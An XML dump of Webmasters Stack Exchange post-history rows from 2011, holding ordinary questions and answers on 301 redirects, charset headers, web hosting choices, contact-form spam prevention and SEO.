  <row Id="45032" PostHistoryTypeId="2" PostId="18505" RevisionGUID="579a09b8-f590-4981-a251-327ae6249e67" CreationDate="2011-08-20T16:39:21.377" UserId="7654" Text="&#xD;&#xA;I have a main site http://qweop.com, and I would like to add an alias to it called http://qwepo.com.&#xD;&#xA;&#xD;&#xA;Now if I use a CNAME (currently this is what I'm using) on qwepo which maps `www` to `qweop.com`, then when i go http://qwepo.com I will be shown the content from http://qweop.com&#xD;&#xA;&#xD;&#xA;This is fine, however I want the browser address bar to show qweop.com instead of qwepo.com even if the user types visits http://qwepo.com and not http://qweop.com.&#xD;&#xA;&#xD;&#xA;Now I've heard of the 301 moved permanently, but it seems like it's a solution for people who have a new url for their website (which is of course not in my case here).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What other choices do we have other than the 301 redirect and CNAME on DNS ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Basically the end result is that whenever someone types qwepo.com/foobar it will bring them to qweop.com/foobar AND the address bar will show qweop.com/foobar&#xD;&#xA;" />
  <row Id="45033" PostHistoryTypeId="1" PostId="18505" RevisionGUID="579a09b8-f590-4981-a251-327ae6249e67" CreationDate="2011-08-20T16:39:21.377" UserId="7654" Text="What other choices do we have other than the 301 redirect and CNAME on DNS?" />
  <row Id="45034" PostHistoryTypeId="3" PostId="18505" RevisionGUID="579a09b8-f590-4981-a251-327ae6249e67" CreationDate="2011-08-20T16:39:21.377" UserId="7654" Text="&lt;redirects&gt;&lt;dns&gt;&lt;301-redirect&gt;" />
  <row Id="45035" PostHistoryTypeId="5" PostId="18505" RevisionGUID="d1b3737b-c860-4194-bc1a-6915f6c2dcb0" CreationDate="2011-08-20T16:49:16.713" UserId="7654" Comment="added 106 characters in body" Text="I have a main site http://qweop.com, and I would like to add an alias to it called http://qwepo.com.&#xD;&#xA;&#xD;&#xA;Now if I use a CNAME (currently this is what I'm using) on qwepo which maps `www` to `qweop.com`, then when i go http://qwepo.com I will be shown the content from http://qweop.com&#xD;&#xA;&#xD;&#xA;This is fine, however I want the browser address bar to show qweop.com instead of qwepo.com even if the user types visits http://qwepo.com and not http://qweop.com.&#xD;&#xA;&#xD;&#xA;Now I've heard of the 301 moved permanently, but it seems like it's a solution for people who have a new url for their website (which is of course not in my case here).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What other choices do we have other than the 301 redirect and CNAME on DNS ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Basically the end result is that whenever someone types qwepo.com/foobar it will bring them to qweop.com/foobar AND the address bar will show qweop.com/foobar&#xD;&#xA;&#xD;&#xA;PS: is domain forwarding the same thing as a 301 redirect? is masking the same thing as a CNAME on DNS ?&#xD;&#xA;" />
  <row Id="45036" PostHistoryTypeId="2" PostId="18506" RevisionGUID="daf7cb8e-9b68-4428-880e-b3c825bd3dca" CreationDate="2011-08-20T16:56:07.293" UserId="8354" Text="It is referring to **Response Headers** and not document body (&quot;Content-Type tag&quot;).&#xD;&#xA;&#xD;&#xA;If you check Response Headers of your page with any HTTP Debugger (for example, **Net panel of Firebug** for Firefox, or similar tab of **Developer Tools** in Google Chrome/Internet Explorer/Safari/Opera), you will see this line:&#xD;&#xA;&#xD;&#xA;    Content-Type: text/html&#xD;&#xA;&#xD;&#xA;At the same time, if you check the same for **this** page, you will see:&#xD;&#xA;&#xD;&#xA;    Content-Type: text/html; charset=utf-8&#xD;&#xA;&#xD;&#xA;Page Speed is referring to the missing part. Having **correct** character set present in headers will indeed speed up rendering the page **a bit**. With incorrect charset specified in response header (or no character set at all) browser needs to scan/interpret the page until it find the correct character set declaration (the `&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;` line) and then re-start the rendering process if character set is different from browser's default setting.&#xD;&#xA;&#xD;&#xA;The performance penalty is not big at all -- for user it is unnoticeable unless really old/slow hardware is in use (although it differs for each browser and browser version). Maybe there are some other &quot;penalties&quot; that are directly related to this, but I personally unaware of them.&#xD;&#xA;&#xD;&#xA;**Fixing:** If you generate this header yourself (in your PHP script), then you need to alter it to include charset as well. If your script does not do such header manipulations, then it is server misconfiguration issue." />
  <row Id="45037" PostHistoryTypeId="2" PostId="18507" RevisionGUID="568dca48-6177-442f-b12a-f3c989451865" CreationDate="2011-08-20T17:10:26.807" UserId="8354" Text="&gt; Basically the end result is that whenever someone types&#xD;&#xA;&gt; qwepo.com/foobar it will bring them to qweop.com/foobar AND the&#xD;&#xA;&gt; address bar will show qweop.com/foobar&#xD;&#xA;&#xD;&#xA;**301 Permanent Redirect is EXACTLY what you need here.**&#xD;&#xA;&#xD;&#xA;That's what Wikipedia says about your case: http://en.wikipedia.org/wiki/URL_redirection#Similar_domain_names&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you web server is **Apache**, then this is the rule that will do such redirect (**mod_rewrite** is required):&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} =qwepo.com&#xD;&#xA;    RewriteRule .* http://qweop.com%{REQUEST_URI} [R=301,L]&#xD;&#xA;&#xD;&#xA;If it is **IIS 7.x**, then use the following rule (using **URL Rewrite module**):&#xD;&#xA;&#xD;&#xA;    &lt;system.webServer&gt;&#xD;&#xA;        &lt;rewrite&gt;&#xD;&#xA;            &lt;rules&gt;&#xD;&#xA;                &lt;rule name=&quot;Proper Domain Name&quot; stopProcessing=&quot;true&quot;&gt;&#xD;&#xA;                    &lt;match url=&quot;.*&quot; /&gt;&#xD;&#xA;                    &lt;conditions&gt;&#xD;&#xA;                        &lt;add input=&quot;{HTTP_HOST}&quot; pattern=&quot;qwepo.com&quot; /&gt;&#xD;&#xA;                    &lt;/conditions&gt;&#xD;&#xA;                    &lt;action type=&quot;Redirect&quot; url=&quot;http://qweop.com{REQUEST_URI}&quot; redirectType=&quot;Permanent&quot; /&gt;&#xD;&#xA;                &lt;/rule&gt;&#xD;&#xA;            &lt;/rules&gt;&#xD;&#xA;        &lt;/rewrite&gt;&#xD;&#xA;    &lt;/system.webServer&gt;&#xD;&#xA;" />
  <row Id="45038" PostHistoryTypeId="25" PostId="18504" RevisionGUID="c4864005-b1de-4db7-a017-f98efe172fe4" CreationDate="2011-08-20T18:35:00.673" Comment="http://twitter.com/#!/StackWebmasters/status/104984796970758145" />
  <row Id="45039" PostHistoryTypeId="5" PostId="18497" RevisionGUID="b8562cd3-c7be-443c-ac88-e3d5a793bc84" CreationDate="2011-08-20T19:00:21.623" UserId="4180" Comment="added 13 characters in body; edited title" Text="I am looking for a free web host for a existing .com domain with **pdo mysql and curl** enabled&#xD;&#xA;" />
  <row Id="45040" PostHistoryTypeId="4" PostId="18497" RevisionGUID="b8562cd3-c7be-443c-ac88-e3d5a793bc84" CreationDate="2011-08-20T19:00:21.623" UserId="4180" Comment="added 13 characters in body; edited title" Text="Where can i find free webhosting with pdo mysql and curl enabled?" />
  <row Id="45041" PostHistoryTypeId="2" PostId="18508" RevisionGUID="c2de7d6d-e99f-414f-83bb-574f2a7e11c8" CreationDate="2011-08-20T19:05:02.527" UserId="8009" Text="I found [this][1] earlier, which solves the problem I've been having but wondered if there was a more 'efficient' way of doing it rather than editing core files?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.e-commercewebdesign.co.uk/blog/magento/change-image-background-colour.php" />
  <row Id="45042" PostHistoryTypeId="1" PostId="18508" RevisionGUID="c2de7d6d-e99f-414f-83bb-574f2a7e11c8" CreationDate="2011-08-20T19:05:02.527" UserId="8009" Text="Changing the background-colour of non-square images in Magento's category view?" />
  <row Id="45043" PostHistoryTypeId="3" PostId="18508" RevisionGUID="c2de7d6d-e99f-414f-83bb-574f2a7e11c8" CreationDate="2011-08-20T19:05:02.527" UserId="8009" Text="&lt;css&gt;&lt;magento&gt;&lt;theme&gt;" />
  <row Id="45044" PostHistoryTypeId="5" PostId="18497" RevisionGUID="63a3ecb0-f064-4457-a1af-06ca1ed4524d" CreationDate="2011-08-20T19:10:27.620" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What is the best free hosting provider for my site?](http://webmasters.stackexchange.com/questions/12421/what-is-the-best-free-hosting-provider-for-my-site)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I am looking for a free web host for a existing .com domain with **pdo mysql and curl** enabled&#xD;&#xA;" />
  <row Id="45045" PostHistoryTypeId="10" PostId="18497" RevisionGUID="e1a79ae0-bf3e-493b-977d-de80dbfb3eed" CreationDate="2011-08-20T19:10:26.450" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:4502,&quot;DisplayName&quot;:&quot;Su\u0027&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45046" PostHistoryTypeId="2" PostId="18509" RevisionGUID="6e2bcc78-c036-4e25-baee-777d1f593519" CreationDate="2011-08-20T19:17:55.920" UserId="9601" Text="The classic question is whether to store images in a database or on the file system. In my case I feel it is probably best to store it on the file system.&#xD;&#xA;&#xD;&#xA;However the specific order of the albums and images is very important. Originally I thought that I could do this by displaying images in the order of their last modified date and then artificially change that value to modify the order. However that method is flawed as adding new images to an album will reorder all the images as the modified time is changed unwillingly.&#xD;&#xA;&#xD;&#xA;Can anyone give me advice on how I can keep track of the order without using a database?&#xD;&#xA;&#xD;&#xA;(Not 100% sure if this question belongs here or maybe on stackoverflow, but I'm taking my chances and if I'm wrong feel free to correct it.)" />
  <row Id="45047" PostHistoryTypeId="1" PostId="18509" RevisionGUID="6e2bcc78-c036-4e25-baee-777d1f593519" CreationDate="2011-08-20T19:17:55.920" UserId="9601" Text="Storing image order without a database" />
  <row Id="45048" PostHistoryTypeId="3" PostId="18509" RevisionGUID="6e2bcc78-c036-4e25-baee-777d1f593519" CreationDate="2011-08-20T19:17:55.920" UserId="9601" Text="&lt;images&gt;&lt;database&gt;&lt;datastorage&gt;" />
  <row Id="45049" PostHistoryTypeId="2" PostId="18510" RevisionGUID="75948175-127f-4476-b7fd-564e46f5c8ab" CreationDate="2011-08-20T19:43:25.940" UserId="8354" Text="You can **use simple text file to simulate real database**. If folder = album, then store order of images in text file in each folder (same file name, for example: `order.txt.db`).&#xD;&#xA;&#xD;&#xA;**Possible file format:**&#xD;&#xA;&#xD;&#xA; - single line of text that you need to parse after reading from file (for example: `file1.jpg|file2.jpg|file5.jpg|file3.jpg`) -- it is easy to parse if you select right delimiter that is not part of the actual file name;&#xD;&#xA;&#xD;&#xA; - one line per file (each file on new line) -- maybe even better, as new line is definitely unique delimiter that will not be part of the file name;&#xD;&#xA;&#xD;&#xA; - scripting language-specific format (for example: serialized array for PHP -- using [serialize()](http://php.net/serialize) function) -- can easily be un-serialized and ready to use with no additional parsing (as un-serializing routine will do all parsing job for you).&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;If your hosting plan does not allow/support MySQL or similar database engine .. then it may support **SQLite** -- it is fast and one database = one file which can be stored as any other file on your site (just need read-write access).&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Another approach would be **renaming file names to include sorting order number** (e.g. `001-file1.jpg`, `002-file5.jpg` etc), but this is more complicated to manage (kind of similar problems to using file modification time)." />
  <row Id="45050" PostHistoryTypeId="2" PostId="18511" RevisionGUID="29383415-4d9b-48f2-b56b-5809b5a5b91c" CreationDate="2011-08-20T21:25:50.470" UserId="288" Text="A programming option would be to store the image order in the EXIF data of the jpg files.&#xD;&#xA;&#xD;&#xA;There's a `UserComment` or `ImageDescription` property you could use - assuming that these weren't already used in the image of course." />
  <row Id="45051" PostHistoryTypeId="2" PostId="18512" RevisionGUID="0a7d1d32-0542-467d-900a-9020541235bf" CreationDate="2011-08-20T21:33:42.827" UserId="9707" Text="I'm a freelance web designer in my second year of designing sites for clients. I work primarily in WordPress and happily make use of many of the wonderful plugins available in the WordPress repository. &#xD;&#xA;&#xD;&#xA;At any rate, a client contacted me in a panic the other day informing me that her site was redirecting to YouTube and sure enough when I landed on her home page it did that very thing within seconds. &#xD;&#xA;&#xD;&#xA;After a good couple of hours spent troubleshooting, I found that the problem had arisen due to a bug in a plugin that had been working fine for the past several months. Being as I couldn't find a fix, I deactivated &amp; uninstalled the plugin. &#xD;&#xA;&#xD;&#xA;That said after some consideration I decided to bill my client for the two hours spent working to resolve this issue. Unfortunately she's now upset, insisting that I shouldn't have billed her for this. So now I'm wondering if I've made a mistake in billing her. &#xD;&#xA;&#xD;&#xA;I do state in my contract that any work performed on client sites post launch will be billed at my hourly rate and as such feel that my time is valuable and that I should be compensated for work performed as such. &#xD;&#xA;&#xD;&#xA;My question is this: should I, or should I not have billed her for this and what should I do about it now? I feel as though I may created tension in an otherwise positive relationship with a good client. Thanks in advance for any and all suggestions. :)" />
  <row Id="45052" PostHistoryTypeId="1" PostId="18512" RevisionGUID="0a7d1d32-0542-467d-900a-9020541235bf" CreationDate="2011-08-20T21:33:42.827" UserId="9707" Text="To Bill or Not to Bill?" />
  <row Id="45053" PostHistoryTypeId="3" PostId="18512" RevisionGUID="0a7d1d32-0542-467d-900a-9020541235bf" CreationDate="2011-08-20T21:33:42.827" UserId="9707" Text="&lt;website-design&gt;&lt;wordpress&gt;" />
  <row Id="45054" PostHistoryTypeId="25" PostId="18466" RevisionGUID="19f8ef88-52d8-40c8-ae47-31d2d0b8ed46" CreationDate="2011-08-20T21:35:00.527" Comment="http://twitter.com/#!/StackWebmasters/status/105030094376013825" />
  <row Id="45055" PostHistoryTypeId="10" PostId="18512" RevisionGUID="d5fcfc59-a525-4487-9489-f21fa2ca990b" CreationDate="2011-08-20T22:03:13.073" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45056" PostHistoryTypeId="11" PostId="18512" RevisionGUID="476d92e0-f281-44d9-8281-a6ce4064586c" CreationDate="2011-08-20T22:18:01.920" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45057" PostHistoryTypeId="14" PostId="18512" RevisionGUID="686520e7-03e3-4cfb-b776-fefb7df84ca2" CreationDate="2011-08-20T22:18:13.433" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="45058" PostHistoryTypeId="17" PostId="18512" RevisionGUID="389b867d-2e50-4781-9786-a59564dc9afc" CreationDate="2011-08-20T22:18:13.433" UserId="1253" Comment="to http://programmers.stackexchange.com/questions/102599/to-bill-or-not-to-bill" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45059" PostHistoryTypeId="10" PostId="18512" RevisionGUID="3ef073ee-3661-428e-9ad4-abf03ce12654" CreationDate="2011-08-20T22:18:12.950" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45060" PostHistoryTypeId="17" PostId="18513" RevisionGUID="ea823210-78b7-456c-9176-33dcf1bea8f1" CreationDate="2011-08-21T00:15:25.347" UserId="-1" Comment="from http://stackoverflow.com/questions/7135481/university-like-web-hosting" Text="" />
  <row Id="45061" PostHistoryTypeId="2" PostId="18513" RevisionGUID="400329b4-e809-4f4f-a226-dcbd9bd3084c" CreationDate="2011-08-20T23:58:13.900" UserId="9710" UserDisplayName="Oliver" Text="I recently finished my PhD, and so my student web space is no more. My postdoc institution doesn't offer webspace to postdocs. And now, for the first time in 7 years, I have no website. &#xD;&#xA;&#xD;&#xA;I've been looking into hosting companies, etc. but I'm having trouble finding one that is the most university-like. For example, I'd like to be able to put some python CGI scripts on, but that's not nearly as common as Perl for support. I'd really like Linux/UNIX hosting and to manage it via SSH and SFTP (web-based uploading would drive me crazy at this point).&#xD;&#xA;&#xD;&#xA;I was looking into Amazon (having had good results with EC2 for running some time-consuming code awhile back), but I wanted to ask if that would be overkill for a website that doesn't get thousands of hits a week.&#xD;&#xA;&#xD;&#xA;... or should I just host it myself? I'm currently, um being loaned internet from a neighbor (I moved a few months ago and haven't needed to get internet yet). But I do have a desktop computer not getting much use and could just buy internet.&#xD;&#xA;&#xD;&#xA;Also, in the off chance that I *do* end up getting a lot of hits, I'd much rather it slowed down than costing me tons of money (I don't have advertising on it).&#xD;&#xA;&#xD;&#xA;I've just been spoiled by university life, and now I need to grow... but not grow up.&#xD;&#xA;" />
  <row Id="45062" PostHistoryTypeId="1" PostId="18513" RevisionGUID="400329b4-e809-4f4f-a226-dcbd9bd3084c" CreationDate="2011-08-20T23:58:13.900" UserId="9710" UserDisplayName="Oliver" Text="University-like web hosting" />
  <row Id="45063" PostHistoryTypeId="3" PostId="18513" RevisionGUID="400329b4-e809-4f4f-a226-dcbd9bd3084c" CreationDate="2011-08-20T23:58:13.900" UserId="9710" UserDisplayName="Oliver" Text="&lt;web-hosting&gt;" />
  <row Id="45064" PostHistoryTypeId="25" PostId="18505" RevisionGUID="44787489-9c97-44d7-a885-aa1f1df3f720" CreationDate="2011-08-21T00:35:01.170" Comment="http://twitter.com/#!/StackWebmasters/status/105075395753295872" />
  <row Id="45065" PostHistoryTypeId="2" PostId="18514" RevisionGUID="17e72cd0-41f1-418a-bfff-78dd2035b545" CreationDate="2011-08-21T00:40:13.700" UserId="9708" Text="i'm not a &quot;pro web master&quot;, but followed this here from stack overflow.  however, i am an ex-academic with an &quot;old school&quot; web page (http://www.acooke.org), so perhaps my experience will help.&#xD;&#xA;&#xD;&#xA;first, ec2 does have a free &quot;starter&quot; account.  it can be configured, usefully, with dns, so i use it as a gateway to connect to my computers at home when elsewhere (i live in chile and my internet service does not support incoming connections at all, even with something like dyndns, but a reverse ssh tunnel still works).&#xD;&#xA;&#xD;&#xA;however, i don't know how to limit ec2, so that wouldn't meet your requirements as a host.&#xD;&#xA;&#xD;&#xA;what has worked well for me is webfaction.  it's shared host, not a dedicated machine - which means that you have some restrictions (which is why i use EC2 for the ssh tunnel) - but that also means their prices are pretty reasonable.  they have a bunch of things pre-configured, and very quick and friendly help.  you get ssh to a unix shell prompt, but you don't get root.  you wouldn't have any problem running cgi scripts, or web pages, or experimenting with various appservers etc.  and i think they have a free trial period.  and i am pretty sure they would cut you off rather than charge you more automatically (but their base allowance is pretty high - i have had the occasional blog post appear on hacker news or reddit with no problems).&#xD;&#xA;&#xD;&#xA;i do have some experience elsewhere.  once with some random large supplier in the uk (which was bad).  once with some guy who ran a few servers &quot;to keep his hand in&quot; (he was a kind-of famous internet person, but he didn't have enough time to keep things running well).  and also with a couple of places my employers have used.  and no-one has been as friendly, simple or reliable as webfaction." />
  <row Id="45066" PostHistoryTypeId="2" PostId="18515" RevisionGUID="be41203b-b6ab-4a05-b4b4-161a0a22dd53" CreationDate="2011-08-21T00:41:33.083" UserId="9700" Text="If you don't mind a little sys admin you can check out [Linode][1]. For US$20/month you'll get a VPS that you can run anything on you feel like. It has so called [StackScripts][2] that will setup a basic server for your needs quickly and painlessly.&#xD;&#xA;&#xD;&#xA;Good thing is that you can run anything on it and it is fixed price per month. If you find out later you need more you can upgrade the individual parts of the service separately.&#xD;&#xA;&#xD;&#xA;They have a datacenters all over the world and the one in London has been pretty good for me so far. There are also other VPS providers you can try but Linode has been pretty good for me so far.&#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linode.com&#xD;&#xA;  [2]: http://www.linode.com/stackscripts/" />
  <row Id="45067" PostHistoryTypeId="2" PostId="18516" RevisionGUID="029b2156-b633-4719-b3f0-ef3a888e99f3" CreationDate="2011-08-21T01:04:01.027" UserId="8799" Text="Me and some friends from university actually got around that by sharing a VPS. Sharing keeps costs down and you have a sysadmin you know *to quarrel with.*&#xD;&#xA;&#xD;&#xA;Apart from that, if you are that pythoniac, you may consider Google Apps and its [Datastore API][1], certainly not the same as having a simple site with python, but... also *without* many of the issues (updates, which version to keep, what library works with which version...) having a simple site in python sometimes raises.&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/appengine/docs/python/datastore/" />
  <row Id="45069" PostHistoryTypeId="2" PostId="18517" RevisionGUID="1825c79a-23b0-4c5f-89e2-9fb6c90e2436" CreationDate="2011-08-21T01:13:49.223" UserId="8950" Text="I recently had a somewhat related discusison about this with the owner of a very large tech forum which took a massive hit after the Google Panda update -- the latest change where they pretty much cracked down on link and article farms (although many forums also fell victim as collateral damage -- but Google tweaked the algorithm soon after) and while I'm not an SEO expert myself, I gathered from the discussion that Google and Bing are now shifting the focus towards social metrics rather than just link counts.&#xD;&#xA;&#xD;&#xA;As for as DMOZ and other directories in general, those pretty much fall ;under the linkfarm category to Google so while the site might be up for nostalga purposes, just like the Keyword META tag in HTML, Google and Bing will disregard those." />
  <row Id="45072" PostHistoryTypeId="5" PostId="18481" RevisionGUID="ca873f0e-5a04-44d3-bda2-f860a4f8cfde" CreationDate="2011-08-21T02:10:21.530" UserId="693" Comment="added 8 characters in body" Text="I am using an html crown in my website, character code is `&amp;#9819;`, but this looks different in the browsers.&#xD;&#xA;&#xD;&#xA;    Firefox 6.0 -&gt; different&#xD;&#xA;    Chrome 13.0 -&gt; different&#xD;&#xA;    IE 9.0, Safari 5.1, Opera 11.50 -&gt; same&#xD;&#xA;&#xD;&#xA;I have tried to explicit add a font-family to the span, but this does not help.&#xD;&#xA;&#xD;&#xA;Anyone have an idea how I can get this the same in the browsers. &#xD;&#xA;&#xD;&#xA;Check this post in differnt browsers and see how the char (glyph) changes. **&amp;#9819;**&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45073" PostHistoryTypeId="2" PostId="18518" RevisionGUID="63ee4e48-3260-4179-9171-3e89cf150ed2" CreationDate="2011-08-21T02:25:00.397" UserId="693" Text="After knowing that the correct name is a glyph I have searched for a solution, but it cannot be done. There are only 3 things you can do.&#xD;&#xA;&#xD;&#xA;1) Use the @font-face in css with a special font that has the character. The character will display the same in all browsers.&#xD;&#xA;&#xD;&#xA;2) Choose your audience: Just restrict access to the website for certain browsers, tell them to change browser.&#xD;&#xA;&#xD;&#xA;3) Just leave it like it is, some glyphs change only slightly." />
  <row Id="45074" PostHistoryTypeId="4" PostId="18481" RevisionGUID="fb6dcc0e-4ad6-4fd5-936e-d11dc9cca994" CreationDate="2011-08-21T02:26:05.900" UserId="693" Comment="edited title" Text="HTML special character (glyph) looking not the same in different browsers" />
  <row Id="45075" PostHistoryTypeId="12" PostId="18518" RevisionGUID="99a3d517-7d25-4f52-a34a-0ceb11e38aa1" CreationDate="2011-08-21T02:29:07.553" UserId="693" Text="[{&quot;Id&quot;:693,&quot;DisplayName&quot;:&quot;Saif Bechan&quot;}]" />
  <row Id="45076" PostHistoryTypeId="13" PostId="18518" RevisionGUID="a76ca65f-4c42-4f21-95a0-c99a1bd7ea04" CreationDate="2011-08-21T03:08:13.870" UserId="693" Text="[{&quot;Id&quot;:693,&quot;DisplayName&quot;:&quot;Saif Bechan&quot;}]" />
  <row Id="45077" PostHistoryTypeId="2" PostId="18519" RevisionGUID="35833730-c2a7-47ba-a498-d424583fc88a" CreationDate="2011-08-21T03:23:15.820" UserId="693" Text="I want to know what you guys think of having a contact form on your website with a few pre-defines (canned) messages on your website. I am talking here about a personal website, like a portfolio website.&#xD;&#xA;&#xD;&#xA;I want to lower the steps you have to take to get in contact me, make it easy for people to send a small massage. I was thinking of something like this.&#xD;&#xA;&#xD;&#xA;Start with an email box, that is required to fill in. After that a name, not required.&#xD;&#xA;&#xD;&#xA;Then have 2-3 messages says: Hi, I just want to say hi; Hi I have a job for you!; etc; and of course having the option for a custom message.&#xD;&#xA;&#xD;&#xA;Just click and it will be mailed to you.&#xD;&#xA;&#xD;&#xA;===   &#xD;&#xA;Security:  &#xD;&#xA;I also want to remove the captcha. Just store the IP of the user, and the user can only send 1 message. If the user wants to send another messages then the captcha will popup.&#xD;&#xA;&#xD;&#xA;====   &#xD;&#xA;Cross-browser.  &#xD;&#xA;If people have older browsers and the javascript system is not supportant, then there us just a normal contact box.&#xD;&#xA;&#xD;&#xA;What do you think of this, are there any problems you can run into?" />
  <row Id="45078" PostHistoryTypeId="1" PostId="18519" RevisionGUID="35833730-c2a7-47ba-a498-d424583fc88a" CreationDate="2011-08-21T03:23:15.820" UserId="693" Text="Pre-defined (canned) contact form messages on your website" />
  <row Id="45079" PostHistoryTypeId="3" PostId="18519" RevisionGUID="35833730-c2a7-47ba-a498-d424583fc88a" CreationDate="2011-08-21T03:23:15.820" UserId="693" Text="&lt;website-design&gt;&lt;contact-page&gt;" />
  <row Id="45080" PostHistoryTypeId="25" PostId="18470" RevisionGUID="8778051a-a601-4bc7-ab3c-d0294a038c84" CreationDate="2011-08-21T03:35:01.610" Comment="http://twitter.com/#!/StackWebmasters/status/105120695863881728" />
  <row Id="45081" PostHistoryTypeId="2" PostId="18520" RevisionGUID="4ee99161-a670-4df3-8345-3f641e9d82a9" CreationDate="2011-08-21T05:09:08.570" UserId="1253" Text="This is a good idea as making a form easier to use can only increase user activity. Making the form cross-browser really should always be done, not just for forms or JavaScript. Basically any public facing web page should work in every browser with or without JavaScript enabled. &#xD;&#xA;&#xD;&#xA;For security, removing the CAPTCHA is definitely a good idea as they only hinder users and spammers can easily bypass them. But your idea about IP address checking will have very limited success as spammers can easily change IP addresses. I would add other preventative measures to catch the spam before it can be sent. Examples would be:&#xD;&#xA;&#xD;&#xA;- Putting a fake field that only bots will see. Then if that field is submitted with the rest of the form you can ignore it (and ban them if desired). You can also [trap bad bots who follow a hidden link][1].&#xD;&#xA;&#xD;&#xA;- Use a field that requires the user to answer a question like what is 5 + 3. Any human can answer it but a bot won't know what to do since it is auto-populating fields based on field names. So that field will be either incorrect or missing in which case the submission will be rejected.&#xD;&#xA;&#xD;&#xA;- Use a token and put it into a session and also add it to the form. If the token is not submitted with the form or doesn't match then it is automated and can be ignored.&#xD;&#xA;&#xD;&#xA;- Use [Askimet][2]. It is great at identifying spam.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kloth.net/internet/bottrap.php&#xD;&#xA;  [2]: http://akismet.com/" />
  <row Id="45082" PostHistoryTypeId="2" PostId="18521" RevisionGUID="c24048f0-621d-4f5e-9ed9-1872dd1e569e" CreationDate="2011-08-21T05:24:19.867" UserId="9243" Text="DMOZ directory is dead for various reasons&#xD;&#xA;&#xD;&#xA;1. Web has grown too big to be listed in a web directory. Too many sites.&#xD;&#xA;2. Favours by corrupts editors have diluted the impact&#xD;&#xA;3. Site gets updated often, while DMOZ is most of the time once listed forever thing.&#xD;&#xA;4. Traffic to DMOZ has gone down considerably. Less people use it. &#xD;&#xA;5. Most of the older DMOZ editors have moved to other interesting projects or are very less active. Its more easier to become a DMOZ editor today than ever before.&#xD;&#xA; " />
  <row Id="45083" PostHistoryTypeId="2" PostId="18522" RevisionGUID="e0bbd825-4f94-49df-abe0-792e2e7e9881" CreationDate="2011-08-21T05:29:04.290" UserId="9243" Text="It takes 3-6 months to recover your rankings when doing a 301 redirect from one domain to another. Moving too many domains to one domain can also raise a flag. It's an old SEO tactics to buy lots of domains and point them to a single site increasing its link popularity. Though in your case, you will have the benefit as you are moving all these older domains to subdomains.&#xD;&#xA;&#xD;&#xA;Subdomain is considered to be a new site, so the benefit of getting link popularity from main domain is very low. Do it if it makes a lot of branding sense. " />
  <row Id="45084" PostHistoryTypeId="5" PostId="18519" RevisionGUID="a70f8f25-c640-4a1b-81af-140f2e4c937d" CreationDate="2011-08-21T05:55:57.467" UserId="693" Comment="added 53 characters in body" Text="I want to know what you guys think of having a contact form on your website with a few pre-defines (canned) messages on your website. I am talking here about a personal website, like a portfolio website.&#xD;&#xA;&#xD;&#xA;I want to lower the steps you have to take to get in contact me, make it easy for people to send a small massage. I was thinking of something like this.&#xD;&#xA;&#xD;&#xA;Start with an email box, that is required to fill in. After that a name, not required.&#xD;&#xA;&#xD;&#xA;Then have 2-3 messages says: &#xD;&#xA;&#xD;&#xA;1)Hi, I just want to say hi; &#xD;&#xA;&#xD;&#xA;2)Hi I have a job for you!; &#xD;&#xA;&#xD;&#xA;3) etc; &#xD;&#xA;&#xD;&#xA;4) of course having the option for a custom message.&#xD;&#xA;&#xD;&#xA;**Your visitor just has to click the message, and it will be emailed.**&#xD;&#xA;&#xD;&#xA;===   &#xD;&#xA;Security:  &#xD;&#xA;I also want to remove the captcha. Just store the IP of the user, and the user can only send 1 message. If the user wants to send another messages then the captcha will popup.&#xD;&#xA;&#xD;&#xA;====   &#xD;&#xA;Cross-browser.  &#xD;&#xA;If people have older browsers and the javascript system is not supportant, then there us just a normal contact box.&#xD;&#xA;&#xD;&#xA;What do you think of this, are there any problems you can run into?" />
  <row Id="45085" PostHistoryTypeId="2" PostId="18523" RevisionGUID="7b6b9e11-911d-4275-93d5-ed89c72c9bf5" CreationDate="2011-08-21T06:15:58.597" UserId="9243" Text="1. Try using google adword keyword suggestion in Exact match&#xD;&#xA;2. Competition on this keyword is less in adword buyers doesnt mean that it would be that easy on organic search&#xD;&#xA;3. It will surely help to purchase the .com key phrase &#xD;&#xA;4. You will need to create hundreds of good quality content pages for similar key phrases&#xD;&#xA;5. You will also need good back links from internal pages and home page.&#xD;&#xA;6. There should be reason why somebody hasn't tried it for this key phrase cluster, as you are saying .com is available" />
